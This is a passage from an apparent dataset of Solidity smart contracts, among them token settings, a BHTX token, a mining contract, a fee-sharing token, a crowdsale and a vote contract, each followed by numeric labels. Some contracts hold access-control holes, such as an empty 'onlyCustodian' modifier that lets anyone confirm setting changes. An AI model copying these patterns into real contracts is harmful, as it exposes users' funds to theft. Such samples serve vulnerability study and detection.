MintAllowedLocked(bytes32 _lockId, bool _newValue); event MintAllowedConfirmed(bytes32 _lockId, bool _newValue); event BurnAllowedLocked(bytes32 _lockId, bool _newValue); event BurnAllowedConfirmed(bytes32 _lockId, bool _newValue); modifier onlyCustodian { _; } } contract _BurnAllowed is TokenSettingsInterface, LockRequestable { bool private burnAllowed = false; function getBurnAllowed() public view returns (bool) { return burnAllowed; } struct PendingBurnAllowed { bool burnAllowed; bool set; } mapping (bytes32 => PendingBurnAllowed) public pendingBurnAllowedMap; function requestBurnAllowedChange(bool _burnAllowed) public returns (bytes32 lockId) { require(_burnAllowed != burnAllowed); lockId = generateLockId(); pendingBurnAllowedMap[lockId] = PendingBurnAllowed({ burnAllowed: _burnAllowed, set: true }); emit BurnAllowedLocked(lockId, _burnAllowed); } function confirmBurnAllowedChange(bytes32 _lockId) public onlyCustodian { PendingBurnAllowed storage value = pendingBurnAllowedMap[_lockId]; require(value.set == true); burnAllowed = value.burnAllowed; emit BurnAllowedConfirmed(_lockId, value.burnAllowed); delete pendingBurnAllowedMap[_lockId]; } } contract _MintAllowed is TokenSettingsInterface, LockRequestable { bool private mintAllowed = false; function getMintAllowed() public view returns (bool) { return mintAllowed; } struct PendingMintAllowed { bool mintAllowed; bool set; } mapping (bytes32 => PendingMintAllowed) public pendingMintAllowedMap; function requestMintAllowedChange(bool _mintAllowed) public returns (bytes32 lockId) { require(_mintAllowed != mintAllowed); lockId = generateLockId(); pendingMintAllowedMap[lockId] = PendingMintAllowed({ mintAllowed: _mintAllowed, set: true }); emit MintAllowedLocked(lockId, _mintAllowed); } function confirmMintAllowedChange(bytes32 _lockId) public onlyCustodian { PendingMintAllowed storage value = pendingMintAllowedMap[_lockId]; require(value.set == true); mintAllowed = value.mintAllowed; emit MintAllowedConfirmed(_lockId, value.mintAllowed); delete pendingMintAllowedMap[_lockId]; } } contract _TradeAllowed is TokenSettingsInterface, LockRequestable { bool private tradeAllowed = false; function getTradeAllowed() public view returns (bool) { return tradeAllowed; } struct PendingTradeAllowed { bool tradeAllowed; bool set; } mapping (bytes32 => PendingTradeAllowed) public pendingTradeAllowedMap; function requestTradeAllowedChange(bool _tradeAllowed) public returns (bytes32 lockId) { require(_tradeAllowed != tradeAllowed); lockId = generateLockId(); pendingTradeAllowedMap[lockId] = PendingTradeAllowed({ tradeAllowed: _tradeAllowed, set: true }); emit TradeAllowedLocked(lockId, _tradeAllowed); } function confirmTradeAllowedChange(bytes32 _lockId) public onlyCustodian { PendingTradeAllowed storage value = pendingTradeAllowedMap[_lockId]; require(value.set == true); tradeAllowed = value.tradeAllowed; emit TradeAllowedConfirmed(_lockId, value.tradeAllowed); delete pendingTradeAllowedMap[_lockId]; } } contract TokenSettings is TokenSettingsInterface, CustodianUpgradeable, _TradeAllowed, _MintAllowed, _BurnAllowed { constructor(address _custodian) public CustodianUpgradeable(_custodian) { } }
1
2,704
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } } contract BaseToken is Ownable { using SafeMath for uint256; string constant public name = 'BHTX'; string constant public symbol = 'BHTX'; uint8 constant public decimals = 18; uint256 public totalSupply = 1e27; uint256 constant public _totalLimit = 1e32; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address from, address to, uint value) internal { require(to != address(0)); balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); totalSupply = totalSupply.add(value); require(_totalLimit >= totalSupply); balanceOf[account] = balanceOf[account].add(value); emit Transfer(address(0), account, value); } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); allowance[msg.sender][spender] = allowance[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, allowance[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); allowance[msg.sender][spender] = allowance[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, allowance[msg.sender][spender]); return true; } } contract LockToken is BaseToken { struct LockItem { uint256 endtime; uint256 remain; } struct LockMeta { uint8 lockType; LockItem[] lockItems; } mapping (address => LockMeta) public lockData; event Lock(address indexed lockAddress, uint8 indexed lockType, uint256[] endtimeList, uint256[] remainList); function _transfer(address from, address to, uint value) internal { uint8 lockType = lockData[from].lockType; if (lockType != 0) { uint256 remain = balanceOf[from].sub(value); uint256 length = lockData[from].lockItems.length; for (uint256 i = 0; i < length; i++) { LockItem storage item = lockData[from].lockItems[i]; if (block.timestamp < item.endtime && remain < item.remain) { revert(); } } } super._transfer(from, to, value); } function lock(address lockAddress, uint8 lockType, uint256[] endtimeList, uint256[] remainList) public onlyOwner returns (bool) { require(lockAddress != address(0)); require(lockType == 0 || lockType == 1 || lockType == 2); require(lockData[lockAddress].lockType != 1); lockData[lockAddress].lockItems.length = 0; lockData[lockAddress].lockType = lockType; if (lockType == 0) { emit Lock(lockAddress, lockType, endtimeList, remainList); return true; } require(endtimeList.length == remainList.length); uint256 length = endtimeList.length; require(length > 0 && length <= 12); uint256 thisEndtime = endtimeList[0]; uint256 thisRemain = remainList[0]; lockData[lockAddress].lockItems.push(LockItem({endtime: thisEndtime, remain: thisRemain})); for (uint256 i = 1; i < length; i++) { require(endtimeList[i] > thisEndtime && remainList[i] < thisRemain); lockData[lockAddress].lockItems.push(LockItem({endtime: endtimeList[i], remain: remainList[i]})); thisEndtime = endtimeList[i]; thisRemain = remainList[i]; } emit Lock(lockAddress, lockType, endtimeList, remainList); return true; } } contract CustomToken is BaseToken, LockToken { constructor() public { balanceOf[0x69AD4582F25a5bAE004d4ceC3E5311bd8602AEB1] = totalSupply; emit Transfer(address(0), 0x69AD4582F25a5bAE004d4ceC3E5311bd8602AEB1, totalSupply); owner = 0x69AD4582F25a5bAE004d4ceC3E5311bd8602AEB1; } }
1
4,664
pragma solidity 0.4.25; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns(uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns(uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns(uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns(uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns(uint256) { require(b != 0); return a % b; } } library ExtendedMath { function limitLessThan(uint a, uint b) internal pure returns(uint c) { if (a > b) return b; return a; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract InterfaceContracts is Ownable { InterfaceContracts public _internalMod; function setModifierContract (address _t) onlyOwner public { _internalMod = InterfaceContracts(_t); } modifier onlyMiningContract() { require(msg.sender == _internalMod._contract_miner(), "Wrong sender"); _; } modifier onlyTokenContract() { require(msg.sender == _internalMod._contract_token(), "Wrong sender"); _; } modifier onlyMasternodeContract() { require(msg.sender == _internalMod._contract_masternode(), "Wrong sender"); _; } modifier onlyVotingOrOwner() { require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender"); _; } modifier onlyVotingContract() { require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender"); _; } function _contract_voting () public view returns (address) { return _internalMod._contract_voting(); } function _contract_masternode () public view returns (address) { return _internalMod._contract_masternode(); } function _contract_token () public view returns (address) { return _internalMod._contract_token(); } function _contract_miner () public view returns (address) { return _internalMod._contract_miner(); } } interface ICaelumMasternode { function _externalArrangeFlow() external; function rewardsProofOfWork() external returns (uint) ; function rewardsMasternode() external returns (uint) ; function masternodeIDcounter() external returns (uint) ; function masternodeCandidate() external returns (uint) ; function getUserFromID(uint) external view returns (address) ; function contractProgress() external view returns (uint, uint, uint, uint, uint, uint, uint, uint); } interface ICaelumToken { function rewardExternal(address, uint) external; } interface EIP918Interface { function mint(uint256 nonce, bytes32 challenge_digest) external returns (bool success); function getChallengeNumber() external view returns (bytes32); function getMiningDifficulty() external view returns (uint); function getMiningTarget() external view returns (uint); function getMiningReward() external view returns (uint); event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); } contract AbstractERC918 is EIP918Interface { bytes32 public challengeNumber; uint public difficulty; uint public tokensMinted; struct Statistics { address lastRewardTo; uint lastRewardAmount; uint lastRewardEthBlockNumber; uint lastRewardTimestamp; } Statistics public statistics; function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success); function _hash(uint256 nonce, bytes32 challenge_digest) internal returns (bytes32 digest); function _reward() internal returns (uint); function _newEpoch(uint256 nonce) internal returns (uint); function _adjustDifficulty() internal returns (uint); } contract CaelumAbstractMiner is InterfaceContracts, AbstractERC918 { using SafeMath for uint; using ExtendedMath for uint; uint256 public totalSupply = 2100000000000000; uint public latestDifficultyPeriodStarted; uint public epochCount; uint public baseMiningReward = 50; uint public blocksPerReadjustment = 512; uint public _MINIMUM_TARGET = 2 ** 16; uint public _MAXIMUM_TARGET = 2 ** 234; uint public rewardEra = 0; uint public maxSupplyForEra; uint public MAX_REWARD_ERA = 39; uint public MINING_RATE_FACTOR = 60; uint public MAX_ADJUSTMENT_PERCENT = 100; uint public TARGET_DIVISOR = 2000; uint public QUOTIENT_LIMIT = TARGET_DIVISOR.div(2); mapping(bytes32 => bytes32) solutionForChallenge; mapping(address => mapping(address => uint)) allowed; bytes32 public challengeNumber; uint public difficulty; uint public tokensMinted; Statistics public statistics; event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); event RewardMasternode(address candidate, uint amount); constructor() public { tokensMinted = 0; maxSupplyForEra = totalSupply.div(2); difficulty = _MAXIMUM_TARGET; latestDifficultyPeriodStarted = block.number; _newEpoch(0); } function _newEpoch(uint256 nonce) internal returns(uint) { if (tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < MAX_REWARD_ERA) { rewardEra = rewardEra + 1; } maxSupplyForEra = totalSupply - totalSupply.div(2 ** (rewardEra + 1)); epochCount = epochCount.add(1); challengeNumber = blockhash(block.number - 1); return (epochCount); } function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success); function _hash(uint256 nonce, bytes32 challenge_digest) internal returns(bytes32 digest) { digest = keccak256(challengeNumber, msg.sender, nonce); if (digest != challenge_digest) revert(); if (uint256(digest) > difficulty) revert(); bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if (solution != 0x0) revert(); } function _reward() internal returns(uint); function _reward_masternode() internal returns(uint); function _adjustDifficulty() internal returns(uint) { if (epochCount % blocksPerReadjustment != 0) { return difficulty; } uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted; uint epochsMined = blocksPerReadjustment; uint targetEthBlocksPerDiffPeriod = epochsMined * MINING_RATE_FACTOR; if (ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod) { uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(ethBlocksSinceLastDifficultyPeriod); uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT); difficulty = difficulty.sub(difficulty.div(TARGET_DIVISOR).mul(excess_block_pct_extra)); } else { uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(targetEthBlocksPerDiffPeriod); uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT); difficulty = difficulty.add(difficulty.div(TARGET_DIVISOR).mul(shortage_block_pct_extra)); } latestDifficultyPeriodStarted = block.number; if (difficulty < _MINIMUM_TARGET) { difficulty = _MINIMUM_TARGET; } if (difficulty > _MAXIMUM_TARGET) { difficulty = _MAXIMUM_TARGET; } } function getChallengeNumber() public view returns(bytes32) { return challengeNumber; } function getMiningDifficulty() public view returns(uint) { return _MAXIMUM_TARGET.div(difficulty); } function getMiningTarget() public view returns(uint) { return difficulty; } function getMiningReward() public view returns(uint) { return (baseMiningReward * 1e8).div(2 ** rewardEra); } function getMintDigest( uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number ) public view returns(bytes32 digesttest) { bytes32 digest = keccak256(challenge_number, msg.sender, nonce); return digest; } function checkMintSolution( uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget ) public view returns(bool success) { bytes32 digest = keccak256(challenge_number, msg.sender, nonce); if (uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } } contract CaelumMiner is CaelumAbstractMiner { ICaelumToken public tokenInterface; ICaelumMasternode public masternodeInterface; bool public ACTIVE_STATE = false; uint swapStartedBlock = now; uint public gasPriceLimit = 999; modifier checkGasPrice(uint txnGasPrice) { require(txnGasPrice <= gasPriceLimit * 1000000000, "Gas above gwei limit!"); _; } event GasPriceSet(uint8 _gasPrice); function setGasPriceLimit(uint8 _gasPrice) onlyOwner public { require(_gasPrice > 0); gasPriceLimit = _gasPrice; emit GasPriceSet(_gasPrice); } function setTokenContract() internal { tokenInterface = ICaelumToken(_contract_token()); } function setMasternodeContract() internal { masternodeInterface = ICaelumMasternode(_contract_masternode()); } function setModifierContract (address _contract) onlyOwner public { require (now <= swapStartedBlock + 10 days); _internalMod = InterfaceContracts(_contract); setMasternodeContract(); setTokenContract(); } function VoteModifierContract (address _contract) onlyVotingContract external { _internalMod = InterfaceContracts(_contract); setMasternodeContract(); setTokenContract(); } function mint(uint256 nonce, bytes32 challenge_digest) checkGasPrice(tx.gasprice) public returns(bool success) { require(ACTIVE_STATE); _hash(nonce, challenge_digest); masternodeInterface._externalArrangeFlow(); uint rewardAmount = _reward(); uint rewardMasternode = _reward_masternode(); tokensMinted += rewardAmount.add(rewardMasternode); uint epochCounter = _newEpoch(nonce); _adjustDifficulty(); statistics = Statistics(msg.sender, rewardAmount, block.number, now); emit Mint(msg.sender, rewardAmount, epochCounter, challengeNumber); return true; } function _reward() internal returns(uint) { uint _pow = masternodeInterface.rewardsProofOfWork(); tokenInterface.rewardExternal(msg.sender, 1 * 1e8); return _pow; } function _reward_masternode() internal returns(uint) { uint _mnReward = masternodeInterface.rewardsMasternode(); if (masternodeInterface.masternodeIDcounter() == 0) return 0; address _mnCandidate = masternodeInterface.getUserFromID(masternodeInterface.masternodeCandidate()); if (_mnCandidate == 0x0) return 0; tokenInterface.rewardExternal(_mnCandidate, _mnReward); emit RewardMasternode(_mnCandidate, _mnReward); return _mnReward; } function getMiningRewardForPool() public view returns(uint) { return masternodeInterface.rewardsProofOfWork(); } function getMiningReward() public view returns(uint) { return (baseMiningReward * 1e8).div(2 ** rewardEra); } function contractProgress() public view returns ( uint epoch, uint candidate, uint round, uint miningepoch, uint globalreward, uint powreward, uint masternodereward, uint usercounter ) { return ICaelumMasternode(_contract_masternode()).contractProgress(); } function getDataFromContract(address _previous_contract) onlyOwner public { require(ACTIVE_STATE == false); require(_contract_token() != 0); require(_contract_masternode() != 0); CaelumAbstractMiner prev = CaelumAbstractMiner(_previous_contract); difficulty = prev.difficulty(); rewardEra = prev.rewardEra(); MINING_RATE_FACTOR = prev.MINING_RATE_FACTOR(); maxSupplyForEra = prev.maxSupplyForEra(); tokensMinted = prev.tokensMinted(); epochCount = prev.epochCount(); ACTIVE_STATE = true; } }
1
4,086
pragma solidity ^0.4.13; contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract Controlled { modifier onlyController() { require(msg.sender == controller); _; } address public controller; function Controlled() { controller = msg.sender; } address public newController; function changeOwner(address _newController) onlyController { newController = _newController; } function acceptOwnership() { if (msg.sender == newController) { controller = newController; } } } contract DAOControlled is Controlled{ address public dao; modifier onlyDAO{ require(msg.sender == dao); _; } function setDAO(address _dao) onlyController{ dao = _dao; } } contract MintableToken is ERC20, SafeMath, DAOControlled{ mapping(address => uint) public balances; address[] public mintingFactories; uint public numFactories; function resetFactories() onlyController{ numFactories = 0; } function addMintingFactory(address _factory) onlyController{ mintingFactories.push(_factory); numFactories += 1; } function removeMintingFactory(address _factory) onlyController{ for (uint i = 0; i < numFactories; i++){ if (_factory == mintingFactories[i]) { mintingFactories[i] = 0; } } } modifier onlyFactory{ bool isFactory = false; for (uint i = 0; i < numFactories; i++){ if (msg.sender == mintingFactories[i] && msg.sender != address(0)) { isFactory = true; } } if (!isFactory) throw; _; } } contract CollectibleFeeToken is MintableToken{ uint8 public decimals; mapping(uint => uint) public roundFees; mapping(uint => uint) public recordedCoinSupplyForRound; mapping(uint => mapping (address => uint)) public claimedFees; mapping(address => uint) public lastClaimedRound; uint public latestRound = 0; uint public initialRound = 1; uint public reserves; event Claimed(address indexed _owner, uint256 _amount); event Deposited(uint256 _amount, uint indexed round); modifier onlyPayloadSize(uint size) { if(msg.data.length != size + 4) { throw; } _; } function reduceReserves(uint value) onlyPayloadSize(1 * 32) onlyDAO{ reserves = safeSub(reserves, value); } function addReserves(uint value) onlyPayloadSize(1 * 32) onlyDAO{ reserves = safeAdd(reserves, value); } function depositFees(uint value) onlyDAO { latestRound += 1; Deposited(value, latestRound); recordedCoinSupplyForRound[latestRound] = totalSupply; roundFees[latestRound] = value; } function claimFees(address _owner) onlyPayloadSize(1 * 32) onlyDAO returns (uint totalFees) { totalFees = 0; for (uint i = lastClaimedRound[_owner] + 1; i <= latestRound; i++){ uint feeForRound = balances[_owner] * feePerUnitOfCoin(i); if (feeForRound > claimedFees[i][_owner]){ feeForRound = safeSub(feeForRound,claimedFees[i][_owner]); } else { feeForRound = 0; } claimedFees[i][_owner] = safeAdd(claimedFees[i][_owner], feeForRound); totalFees = safeAdd(totalFees, feeForRound); } lastClaimedRound[_owner] = latestRound; Claimed(_owner, feeForRound); return totalFees; } function claimFeesForRound(address _owner, uint round) onlyPayloadSize(2 * 32) onlyDAO returns (uint feeForRound) { feeForRound = balances[_owner] * feePerUnitOfCoin(round); if (feeForRound > claimedFees[round][_owner]){ feeForRound = safeSub(feeForRound,claimedFees[round][_owner]); } else { feeForRound = 0; } claimedFees[round][_owner] = safeAdd(claimedFees[round][_owner], feeForRound); Claimed(_owner, feeForRound); return feeForRound; } function _resetTransferredCoinFees(address _owner, address _receipient, uint numCoins) internal returns (bool){ for (uint i = lastClaimedRound[_owner] + 1; i <= latestRound; i++){ uint feeForRound = balances[_owner] * feePerUnitOfCoin(i); if (feeForRound > claimedFees[i][_owner]) { uint unclaimedFees = min256(numCoins * feePerUnitOfCoin(i), safeSub(feeForRound, claimedFees[i][_owner])); reserves = safeAdd(reserves, unclaimedFees); claimedFees[i][_owner] = safeAdd(claimedFees[i][_owner], unclaimedFees); } } for (uint x = lastClaimedRound[_receipient] + 1; x <= latestRound; x++){ claimedFees[x][_receipient] = safeAdd(claimedFees[x][_receipient], numCoins * feePerUnitOfCoin(x)); } return true; } function feePerUnitOfCoin(uint round) public constant returns (uint fee){ return safeDiv(roundFees[round], recordedCoinSupplyForRound[round]); } function reservesPerUnitToken() public constant returns(uint) { return reserves / totalSupply; } function mintTokens(address _owner, uint amount) onlyFactory{ lastClaimedRound[msg.sender] = latestRound; totalSupply = safeAdd(totalSupply, amount); balances[_owner] += amount; } } contract BurnableToken is CollectibleFeeToken{ event Burned(address indexed _owner, uint256 _value); function burn(address _owner, uint amount) onlyDAO returns (uint burnValue){ require(balances[_owner] >= amount); require(latestRound == lastClaimedRound[_owner]); burnValue = reservesPerUnitToken() * amount; reserves = safeSub(reserves, burnValue); balances[_owner] = safeSub(balances[_owner], amount); totalSupply = safeSub(totalSupply, amount); Transfer(_owner, this, amount); Burned(_owner, amount); return burnValue; } } contract Haltable is Controlled { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyController { halted = true; } function unhalt() external onlyController onlyInEmergency { halted = false; } } contract SphereToken is BurnableToken, Haltable { string public name; string public symbol; string public version = 'SPR_0.1'; bool public isTransferEnabled; mapping (address => mapping (address => uint)) allowed; function SphereToken(){ name = 'EtherSphere'; symbol = 'SPR'; decimals = 4; isTransferEnabled = false; } modifier onlyPayloadSize(uint size) { if(msg.data.length != size + 4) { throw; } _; } function setTransferEnable(bool enabled) onlyDAO{ isTransferEnabled = enabled; } function doTransfer(address _from, address _to, uint _value) private returns (bool success){ if (_value > balances[_from] || !isTransferEnabled) return false; if (!_resetTransferredCoinFees(_from, _to, _value)) return false; balances[_from] = safeSub(balances[_from], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) stopInEmergency returns (bool success) { return doTransfer(msg.sender, _to, _value); } function exchangeTransfer(address _to, uint _value) stopInEmergency onlyFactory returns (bool success) { if (_value > balances[msg.sender]) {return false;} if (!_resetTransferredCoinFees(msg.sender, _to, _value)){ return false;} balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) stopInEmergency returns (bool success) { var _allowance = allowed[_from][msg.sender]; if (_value > balances[_from] || !isTransferEnabled || _value > _allowance) return false; allowed[_from][msg.sender] = safeSub(_allowance, _value); return doTransfer(_from, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) stopInEmergency returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } function addApproval(address _spender, uint _addedValue) onlyPayloadSize(2 * 32) stopInEmergency returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue); return true; } function subApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2 * 32) stopInEmergency returns (bool success) { uint oldVal = allowed[msg.sender][_spender]; if (_subtractedValue > oldVal) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue); } return true; } }
1
2,641
contract Vote { event LogVote(address indexed addr); function() { LogVote(msg.sender); if (msg.value > 0) { if (!msg.sender.send(msg.value)) { throw; } } } }
1
5,065
pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function transfer(address receiver, uint amount){ } } contract Crowdsale { using SafeMath for uint256; address public wallet; address addressOfTokenUsedAsReward; token tokenReward; uint256 public startTime; uint256 public endTime; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale() { wallet = 0xA10f6f8A723038ca267FD8D5354d1563238dc1De; addressOfTokenUsedAsReward = 0xdFF8e7f5496D1e1A4Af3497Cb4712017a9C65442; tokenReward = token(addressOfTokenUsedAsReward); } bool started = false; function startSale(uint256 delay){ if (msg.sender != wallet || started) throw; startTime = now + delay * 1 minutes; endTime = startTime + 42 * 24 * 60 * 1 minutes; started = true; } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = (weiAmount) * 3000; if(now < startTime + 1*7*24*60* 1 minutes){ tokens += (tokens * 60) / 100; }else if(now < startTime + 2*7*24*60* 1 minutes){ tokens += (tokens * 40) / 100; }else if(now < startTime + 3*7*24*60* 1 minutes){ tokens += (tokens * 30) / 100; }else if(now < startTime + 4*7*24*60* 1 minutes){ tokens += (tokens * 20) / 100; }else if(now < startTime + 5*7*24*60* 1 minutes){ tokens += (tokens * 10) / 100; } weiRaised = weiRaised.add(weiAmount); tokenReward.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { if (!wallet.send(msg.value)) { throw; } } function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public constant returns (bool) { return now > endTime; } function withdrawTokens(uint256 _amount) { if(msg.sender!=wallet) throw; tokenReward.transfer(wallet,_amount); } }
1
3,574
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view 